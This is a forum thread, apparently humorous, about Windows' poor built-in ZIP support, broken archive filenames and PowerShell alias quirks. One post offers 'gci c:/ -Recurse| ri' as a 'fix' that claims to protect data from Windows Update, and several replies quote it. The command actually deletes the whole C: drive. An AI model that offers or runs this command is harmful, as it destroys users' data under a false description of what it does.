Zipping is hard
-
@El_Heffe and as we all know, your #1 priority when looking for updates to Windows, is the enhancement of the built-in ZIP functionality which you don't use, to support password protected ZIP files which you also don't use.
-
@pie_flavor said in Zipping is hard:
your #1 priority when looking for updates to Windows
is to not have Windows Update fuck up my machine
-
@TimeBandit said in Zipping is hard:
@pie_flavor said in Zipping is hard:
your #1 priority when looking for updates to Windows
is to not have Windows Update fuck up my machine
easiest fix of all!
open a powershell screen as administrator. then to protect all your data:
gci c:/ -Recurse| ri
That will recalculate the identity of your drive, protecting it from any damages caused by Windows Update.
-
@pie_flavor said in Zipping is hard:
@El_Heffe and as we all know, your #1 priority when looking for updates to Windows...
They've got until 2039 then to come up with a great update to the Zip functionality in Windows.
-
@pie_flavor said in Zipping is hard:
@El_Heffe and as we all know, your #1 priority when looking for updates to Windows, is the enhancement of the built-in ZIP functionality which you don't use, to support password protected ZIP files which you also don't use.
-
Nobody uses that feature because it sucks and doesn't work properly
-
There's no point in improving it because nobody uses it
Great logic you've got there.
-
-
@Mason_Wheeler said in Zipping is hard:
@JBert Looks like whatever library they used to create the zip file violated the specification; invalid filenames, especially something so authoritatively invalid as to be marked with a MUST NOT in the spec, should be rejected as erroneous rather than put into the archive.
Ehr... Did you have something to add, rather than repeating my point?
-
@El_Heffe said in Zipping is hard:
-
Nobody uses that feature because it sucks and doesn't work properly
-
There's no point in improving it because nobody uses it
Great logic you've got there.
Everybody uses Windows Update, but it's not improving either
-
-
@Mason_Wheeler I noticed this broke when work started blocking 7zip through group policy. Secret Squirrel decided to just delete it from everybody's machines without notification. It was especially funny when they swept the servers and it broke several undocumented processes where the Indians used it (SQL Agent concatting a powershell concatting a batch file). Well, since I still needed it to do, you know, my job, I reinstalled it anyway. But it wouldn't integrate into the context menus or file associations ever again.
-
@Zenith said in Zipping is hard:
I noticed this broke when work started blocking 7zip through group policy.
-
@dfdub said in Zipping is hard:
@Zenith said in Zipping is hard:
I noticed this broke when work started blocking 7zip through group policy.
It could encrypt files! That we thence could not decrypt!
-
@pie_flavor said in Zipping is hard:
@El_Heffe and as we all know, your #1 priority when looking for updates to Windows, is the enhancement of the built-in ZIP functionality which you don't use, to support password protected ZIP files which you also don't use.
As long as a significant portion of users pay like a third of what they paid for the OS just to have archive handling that does not suck as badly as the included one, you'd think it would be considered low hanging fruit.
Then again, MS probably has a realistic view of their users' pain tolerance.
-
@Gurth said in Zipping is hard:
all with names like QuestieDev-master\.github\ISSUE_TEMPLATE\bug_report.md
See the difference? That filename starts with a "normal" directory:
QuestieDev-master
, not.\QuestieDev-master
.
A filename (or directory name) starting with a dot is not a problem for Windows zip.Edit: but the "quote" functionality of Discourse seems to have some issues with a backslash followed by a dot...
-
@Gurth said in Zipping is hard:
@Tsaukpaetra Nope, something was definitely wrong with the filenames as they came from the zip:
It also looks like the zip included dev files that werenβt supposed to make it into the release, sure, but that was not the main problem.
Looks like someone is playing WoW Classic... I don't use the dev version of Questie, though. Just go for the official releases.
-
@BernieTheBernie said in Zipping is hard:
@Gurth said in Zipping is hard:
all with names like QuestieDev-master\.github\ISSUE_TEMPLATE\bug_report.md
See the difference? That filename starts with a "normal" directory:
QuestieDev-master
, not.\QuestieDev-master
.
A filename (or directory name) starting with a dot is not a problem for Windows zip.Could still be a symptom of the same problem, though. One possible scenario is that if youβre zipping the current working directory, it adds
.\
in front of the filename? Those Questie files give me the impression that someone zipped the wholeQuestieDev-master
subdirectory from the one itβs in.@Atazhaia said in Zipping is hard:
Looks like someone is playing WoW Classic...
Gee, I wonder who β¦ Oh yeah:β
@Gurth said in Zipping is hard:
Iβve been playing WoW Classic
What do you know? Itβs me!
I don't use the dev version of Questie, though. Just go for the official releases.
I thought I was. The one with the faulty filenames came from legacy-wow.com, the correct one from CurseForge.
-
@BernieTheBernie said in Zipping is hard:
the "quote" functionality of
Discourse(NodeBB with our site-specific hacks)FTFY
-
@Gurth The Dev looks like it is the development version of Questie rather than the release version, although from what I read it is under continuous development so the release version is just a weekly release rather than daily.
-
@Tsaukpaetra said in Zipping is hard:
@dfdub said in Zipping is hard:
@Zenith said in Zipping is hard:
I noticed this broke when work started blocking 7zip through group policy.
It could encrypt files! That we thence could not decrypt!
While still a , you're giving them too much credit. Somehow 7-zip versions prior to ~16 landed on a list of programs with buffer overflows. They were frightened that bits and bytes would wind up spilling all over the floor.
-
@Mason_Wheeler said in Zipping is hard:
@loopback0 What's so irritating about optimizing for the most common case (by far) and leaving it to third party extensions to implement support for archive formats that are orders of magnitude less popular?
If they supported some format that compressed a bit better, maybe more of those third-parties would stop inventing their own formats.
Everybody in Korea thinks that everybody has ALZip. I don't. And I don't want it. And neither does anybody else in our office in not-Korea. So now we have a virtual machine whose only job is to un-ALZip the files we get from a Korean customer.
-
@Tsaukpaetra or even Oh noes our backdoor in 7zip got removed, we have no way to decrypt anymore!
-
@OloEopia said in Zipping is hard:
@Tsaukpaetra or even Oh noes our backdoor in 7zip got removed, we have no way to decrypt anymore!
Hey if they managed to get an actual repeatable exploit working, I say keep it.
-
@El_Heffe said in Zipping is hard:
@TimeBandit said in Zipping is hard:
@El_Heffe said in Zipping is hard:
What's the problem?
Mainly the price $29
Oh, now I get it. You're one of THOSE guys.
-
@Vixen said in Zipping is hard:
@TimeBandit said in Zipping is hard:
@pie_flavor said in Zipping is hard:
your #1 priority when looking for updates to Windows
is to not have Windows Update fuck up my machine
easiest fix of all!
open a powershell screen as administrator. then to protect all your data:
gci c:/ -Recurse| ri
That will recalculate the identity of your drive, protecting it from any damages caused by Windows Update.
I wish they didn't have the terse versions of the cmdlets. Scripts are much more readable when you use the canonical names.
Filed under: , , but it illustrates a legitimate problem
-
@error said in Zipping is hard:
@Vixen said in Zipping is hard:
@TimeBandit said in Zipping is hard:
@pie_flavor said in Zipping is hard:
your #1 priority when looking for updates to Windows
is to not have Windows Update fuck up my machine
easiest fix of all!
open a powershell screen as administrator. then to protect all your data:
gci c:/ -Recurse| ri
That will recalculate the identity of your drive, protecting it from any damages caused by Windows Update.
I wish they didn't have the terse versions of the cmdlets. Scripts are much more readable when you use the canonical names.
Filed under: , , but it illustrates a legitimate problem
i dislike that the service control application is
sc.exe
and there's a default alias forSet-Content
that is..... YEP!sc
so if you dosc stop SERVICENAME
to stop a service from powershell...... it doesn't stop the service. it writes the textSERVICENAME
to a file namedstop
.... yep. that's a smart default alias.
at least they removed that alias in powershell 7..... six versions too late really.
-
@Vixen said in Zipping is hard:
@error said in Zipping is hard:
@Vixen said in Zipping is hard:
@TimeBandit said in Zipping is hard:
@pie_flavor said in Zipping is hard:
your #1 priority when looking for updates to Windows
is to not have Windows Update fuck up my machine
easiest fix of all!
open a powershell screen as administrator. then to protect all your data:
gci c:/ -Recurse| ri
That will recalculate the identity of your drive, protecting it from any damages caused by Windows Update.
I wish they didn't have the terse versions of the cmdlets. Scripts are much more readable when you use the canonical names.
Filed under: , , but it illustrates a legitimate problem
i dislike that the service control application is
sc.exe
and there's a default alias forSet-Content
that is..... YEP!sc
so if you dosc stop SERVICENAME
to stop a service from powershell...... it doesn't stop the service. it writes the textSERVICENAME
to a file namedstop
.... yep. that's a smart default alias.
at least they removed that alias in powershell 7..... six versions too late really.
This. I was somewhat flummoxed for a while.
Thank goodness Microsoft supports backwards-compatibility to such an enormous extent that legacy muscle-memory actions still work!
-
@Vixen said in Zipping is hard:
@error said in Zipping is hard:
@Vixen said in Zipping is hard:
@TimeBandit said in Zipping is hard:
@pie_flavor said in Zipping is hard:
your #1 priority when looking for updates to Windows
is to not have Windows Update fuck up my machine
easiest fix of all!
open a powershell screen as administrator. then to protect all your data:
gci c:/ -Recurse| ri
That will recalculate the identity of your drive, protecting it from any damages caused by Windows Update.
I wish they didn't have the terse versions of the cmdlets. Scripts are much more readable when you use the canonical names.
Filed under: , , but it illustrates a legitimate problem
i dislike that the service control application is
sc.exe
and there's a default alias forSet-Content
that is..... YEP!sc
so if you dosc stop SERVICENAME
to stop a service from powershell...... it doesn't stop the service. it writes the textSERVICENAME
to a file namedstop
.... yep. that's a smart default alias.
at least they removed that alias in powershell 7..... six versions too late really.
TRWTF is Windows' extension handling.